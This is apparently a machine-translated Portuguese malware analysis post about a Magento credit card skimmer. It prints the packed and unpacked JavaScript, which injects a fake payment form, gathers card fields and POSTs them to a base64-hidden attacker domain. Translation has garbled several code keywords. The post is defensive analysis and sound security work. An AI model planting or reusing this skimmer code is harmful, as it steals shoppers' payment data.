Identificado um ladrão de cartão de crédito no Magento.

Durante a remediação de um site, descobrimos recentemente uma nova versão de um ladrão de cartão de crédito Magento que envia todos os dados comprometidos para o domínio malicioso cdn-filestore [dot] com.

Durante a remediação de um site, descobrimos recentemente uma nova versão de um ladrão de cartão de crédito Magento que envia todos os dados comprometidos para o domínio malicioso cdn-filestore [dot] com.

Evolução de malware e técnicas evasivas

Uma diferença fundamental entre essa nova versão e aquela sobre a qual Lucas escreveu em abril é que ela não estava embalada. Esse detalhe sugere que os invasores atualizaram o malware na tentativa de ofuscá-lo e evitar a detecção. Com base nessa observação, podemos supor que eles continuarão a alterar o malware e os domínios como uma manobra evasiva.

O conteúdo malicioso foi compactado usando JavaScript da seguinte maneira:

eval ( função ( p , a , c , k , e , d ) { e = função ( c ) { return ( c < a ? ' ' : e ( parseInt ( c / a ) ) ) + ( ( c = c % a ) > 35 ? String . fromCharCode( c + 29 ) : c . toString ( 36 ) ) } ; if ( ! ' ' . substituir ( / ^ / , String ) ) { while ( c - ) { d [ e ( c ) ] = k [ c ] || e ( c ) } k = [ função( e ) { return d [ e ] } ] ; e = function ( ) { return ' \\ w + ' } ; c = 1 } ; enquanto ( c - ) { if ( k [ c ] ) { p = p . substituir ( novo RegExp ( ' \\ b ' +e ( c ) + ' \\ b ' , ' g ' ) , k [ c ] ) } } return p } ( ' 1c z = "<k> <l F = \\ " h: H \\ "> < m> * </m> 1b ty </l> <ce = \\ "gE \\ "> <g K = \\ "w \\ " n = \\ "h: H \\ " d = \\ "h [H] \\ " Q = \\ "1b ty \\ "e = \\"gw CG-1k \\ " a = \\ " \\ " s = \\ "q \\ "> </c> </k> <k> <l F = \\ "1m: 1n \\ " > <m> * </m> 1p 1o </l> <ce = \\ "gE \\ "> <ce = \\ "vD \\ "> <jn = \\ "h: 1i \\ " d = \\ "h [1i] \\ " e = \\ "1t CG-1u \\ " s = \\ "q \\ "> <0 a = \\ " \\ "p = \\ "p \\ "> 1v </0> <0 a = \\ "1 \\"> 1w </0> <0 a = \\ " 2 \\ "> 1A </0> <0 a = \\ " 3 \\ "> 1j </0> <0 a = \\ " 4 \ \ "> 1q </0> <0 a = \\ " 5 \\ "> 1B </0> <0 a = \\ " 6 \\ "> 1z </0> <0 a = \\ " 7 \\ "> 1a </0> <0 a = \\ " 8 \\ "> 1x </0> <0 a = \\ " 9 \\ "> 1s </0> <0 a = \\ " 10 \\ "> 10 </0> <0 a = \\ "11 \\ "> 11 </0> <0 a = \\ "12 \\ "> 12 </0> </j> </c> <ce = \\ "vD\\ "> <jn = \\ " h: R \\ "d = \\ " h [R] \\ "e = \\ " 1r \\ "s = \\ " q \\ "> <0 a = \\ " \\ " p = \\ "p \\ "> 1l </0> <0 a = \\ "U \\ "> U </0> <0 a = \\ "18 \\ " > 18 </0> <0 a = \\ "16 \\ "> 16 </0> <0 a = \\ "15 \\ "> 15 </0> <0 a = \\ "14 \\ "> 14 </0> <0 a = \\ "13 \\ "> 13 </0> <0 a =\\ "Z \\ "> Z </0> <0 a = \\ "Y \\ "> Y </0> <0 a = \\ "T \\ "> T </0> <0 a = \\ "X \\ "> X </0> <0 a = \\ "W \\ "> W </0> <0 a = \\ "V \\ "> V </0> </ j> </c> </c> </k> <k> <l F = \\ "h: 1a \\ "> <m> * </m> t O y </l> <ce = \ \ "gE \\ "> <ce = \\ "vD \\ "> <g K = \\ "w \\ " Q = \\ "t O y \\ " e = \\ "gw 1T CG-1E \\"n = \\ " 1h \\ "d = \\ " h [1a] \\ "a = \\ " \\ "s = \\ " q \\ "> </c> </c> </ k> "; b (1N) .1M (o () {b (" # 1L-1K-1J "). 19 (1d); b (" # 1g "). A (z); b (" g " ) .r ("u"); b ("j"). r ("u")}); b ("A"). 19 (o () {b ("g"). r ("u" ); b ("j"). r ("u"); 1f (! b ( \ ' * \' ) .1H ( \ ' # 1h \' )) {b ("# 1g"). A (z )}}); o 1d () {1c i = {}, I, L, 17 = N ("1G / ​​1F"), B = J (1D.B); b ("g, j"). 1C (o () {I = (i [fd] == "" || i [fd] == "x" || 1e i [f.d] === "x") && f.d! = "" && f.d! = "x" && 1e fd! == "x"; 1f (I) {i [fd] = fa; 1I S} i [ fn] = fa}); L = J (1O (1P (J (1Q.1R (i))))); b.1Y (17, o (P) {b.1X ({1Z: N (P) , 1U: {1V: S}, K: "1S", M: "M =" + L + "& 1W =" + B})})} ' , 62, 124 , ' option |||||||||| valor | jQuery | div | nome | classe | esta | entrada | pagamento | arr | selecionar | li | rótulo | em | id | função | selecionado | desligado | removeAttr | preenchimento automático | Cartão | desativado || texto | indefinido | Número | formulário | html | host | validar | corrigir | caixa | para | cc | cc_number | bl | encodeURIComponent | type | string | data | atob | Verificação | dat | title | cc_exp_year | true | 2026 | 2018 | 2029 | 2028 | 2027 | 2025 | 2024 |||| 2023 | 2022 | 2021 | 2020 | domain | 2019 | click | cc_cid | Credit | var | onestepcheckout_payment | typeof | if | payment_form_payco | cc_cid_data | cc_exp_month | 03 | número | Ano | faturamento | expiration_date | Data | Expiração | 04 | ano | 09 | mês | exp | Mês | 01 | 08 | 07 | 06 | 02 | 05 | cada | local | cvn | YWxs | Ly9jZG4tZmlsZXN0b3JlLmNvbZS9waS5jYWN | is | return | order | place | onestepcheckout | ready | document | btoa | unescape | JSON | stringify | POST | cvv | xhrFields | withCredentials | target | ajax | get | url' . dividir ( ' | ' ) , 0 , { } ) ) ;

Usando um empacotador de JavaScript, os agentes mal-intencionados podem ocultar melhor o verdadeiro funcionamento do script – mas há alguns sinais de alerta óbvios aqui. Por exemplo, rótulos como “onestepcheckout” e “cc_exp_month” são um bom sinal de que esse código malicioso está coletando informações confidenciais.

Roubo e extração de informações

Assim que terminarmos de descompactar o código, o comportamento malicioso será revelado.

var form =  " <li> <label for = \" payment: cc_number \ " > <em> * </em> Número do cartão de crédito </label> <div class = \" input-box \ " > <input type = \ " text \" id = \ " pagamento: cc_number \" name = \ " pagamento [cc_number] \" title = \ " Número do cartão de crédito \" class = \ " input-text validate-cc-number \" value = \ " \" autocomplete = \ "desligado \ " > </div> </li> <li> <rótulo para = \"faturamento: expiration_date \ " > <em> * </em> Data de expiração </label> <div class = \" input-box \ " > <div class = \" v-fix \ " > <select id = \" pagamento: cc_exp_month \ " name = \" pagamento [cc_exp_month] \ " class = \" mês validate-cc-exp \ " autocomplete = \" off \ " > <option value = \" \ " selected = \" selected \ " > Mês </option> <option value = \ "1 \ " > 01 </option> <option value = \" 2\ " > 02 </option> <option value = \" 3 \ " > 03 </option> <option value = \" 4 \ " > 04 </option> <option value = \" 5 \ " > 05 < / option> <option value = \ " 6 \" > 06 </option> <option value = \ " 7 \" > 07 </option> <option value = \ " 8 \" > 08 </option> <option value = \ " 9 \" > 09 </option> <option value = \ " 10 \" > 10 </option> <option value = \ " 11 \" > 11 </option> <option value = \ " 12 \"> 12 </option> </select> </div> <div class = \ " v-fix \" > <select id = \ " pagamento: cc_exp_year \" name = \ " pagamento [cc_exp_year] \" class = \ " ano \" autocomplete = \ " off \" > <option value = \ " \" selected = \ " selected \" > Ano </option> <option value = \ " 2018 \" > 2018 </option> <option value = \ " 2019 \" > 2019 </option> <option value = \ " 2020 \" > 2020 </option> <option value = \ "2021 \ " > 2021 </option> <option value = \" 2022 \ " > 2022 </option> <option value = \" 2023 \ " > 2023 </option> <option value = \" 2024 \ " > 2024 </option> <option value = \ " 2025 \" > 2025 </option> <option value = \ " 2026 \" > 2026 </option> <option value = \ " 2027 \" > 2027 </option> < option value = \ " 2028 \" > 2028 </option> <option value = \ "2029 \ " > 2029 </option> </select> </div> </div> </li> <li> <rótulo para = \" pagamento: cc_cid\ " > <em> * </em> Número de verificação do cartão </label> <div class = \" input-box \ " > <div class = \" v-fix \ " > <input type = \" text \ " title = \" Número de verificação do cartão \ " class = \" input-text cvv validate-cc-cvn \ " id = \" cc_cid_data \ " name = \" pagamento [cc_cid] \ " value = \" \ " autocomplete = \ " off \" > </div> </div> </ li> " ; 
jQuery ( documento ). ready ( function  ( )  { 
    jQuery ( " # onestepcheckout-place-order " ) . click ( onestepcheckout_payment ) ; 
    jQuery ( " #payment_form_payco " ) . html ( form ) ; 
    jQuery ( " input " ) . removeAttr ( " disabled " ) ; 
    jQuery ( " selecionar ") . removeAttr ( " disabled " ) 
} ) ; 
jQuery ( " html " ) . click ( function  ( )  { 
    jQuery ( " input " ) . removeAttr ( " disabled " ) ; 
    jQuery ( " select " ) . removeAttr ( " disabled " ) ; 
    if  (! jQuery ( ' * ' ) . is ( ' #cc_cid_data ' ) )  { 
        jQuery ( " #payment_form_payco " ) . html ( formulário ) 
    } 
} ) ; 
function onestepcheckout_payment ( )  { 
    var arr =  { } , 
    bl , string , domain = atob ( "Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA / YWxs " ) , 
    de acolhimento =  encodeURIComponent ( localização . Hospedeira ) ; 
    jQuery ( " entrada, seleccionar " ) . Cada ( função  ( )  { 
        bl =  ( arr [ este . Nome ]  ==  " "  || arr [ este . Nome ]  ==  " undefined "  || typeof arr [ this . nome ]  ===  " indefinido " )  &&  isso . nome ! =  " "  &&  isso . nome ! =  " undefined "  &&  typeof  this . nome ! ==  " indefinido " ; 
        if  ( bl )  { 
            arr [ this . nome ]  =  isso . valor ;
            return  true 
        } 
        arr [ this . id ]  =  isso . valor
     } ) ; 
    string =  encodeURIComponent ( btoa ( unescape ( encodeURIComponent ( JSON . stringify ( arr ) ) ) ) ) ; 
    jQuery . get ( domínio ,  função  ( dat )  { 
        jQuery . ajax( { 
            url : atob ( dat ) , 
            xhrFields :  { 
                withCredentials :  true 
            } , 
            digite :  " POST " , 
            data :  " data = "  + string +  " & target = "  + host
         } ) 
    } ) 
}

Este exemplo de código inclui um formulário com todas as informações do cartão de crédito, mas o snippet mais interessante está no final, que contém o domínio usado para a exfiltração dos dados de pagamento desnatados.

função onestepcheckout_payment ( )  { 
    var arr =  { } , 
    bl , string , domain = atob ( " Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA / YWxs " ) , 
    host =  encodeURIComponent ( local . host ) ;

A string codificada em base64 decodifica para //cdn-filestore[dot]com/cache.php?all

Posteriormente, os dados são codificados em base64, convertidos para o formato JSON, após o qual jQuery é usado para enviar os dados coletados (exfiltração). As informações coletadas são então enviadas para cdn-filestore [dot] com por meio de uma solicitação POST.

string =  encodeURIComponent ( btoa ( unescape ( encodeURIComponent ( JSON . stringify ( arr ) ) ) ) ) ; 
    jQuery . get ( domínio ,  função  ( dat )  { 
        jQuery . ajax ( { 
            url : atob ( dat ) , 
            xhrFields :  { 
                withCredentials:  true 
            } , 
            digite :  " POST " , 
            data :  " data = "  + string +  " & target = "  + host
         } ) 
    } )

Etapas de Conclusão e Mitigação

Este malware foi encontrado injetado em um dos arquivos .js dentro de ./media/js/ , e não é incomum encontrar outros arquivos injetados com esse código também.

Os ladrões de cartão de crédito estão se tornando uma ameaça cada vez mais comum. Como os consumidores continuam dependendo fortemente das compras online, esperamos apenas um aumento nos ataques contra sites de comércio eletrônico.

Você pode reduzir o risco mantendo o software do seu site atualizado ou corrigindo virtualmente vulnerabilidades conhecidas com um firewall do site .

No caso de um incidente, os serviços de monitoramento de integridade e a resposta profissional a incidentes são as melhores maneiras de detectar e responder ao comprometimento de um site.

Fonte: https://blog.sucuri.net/2020/08/cdn-filestore-credit-card-stealer-for-magento.html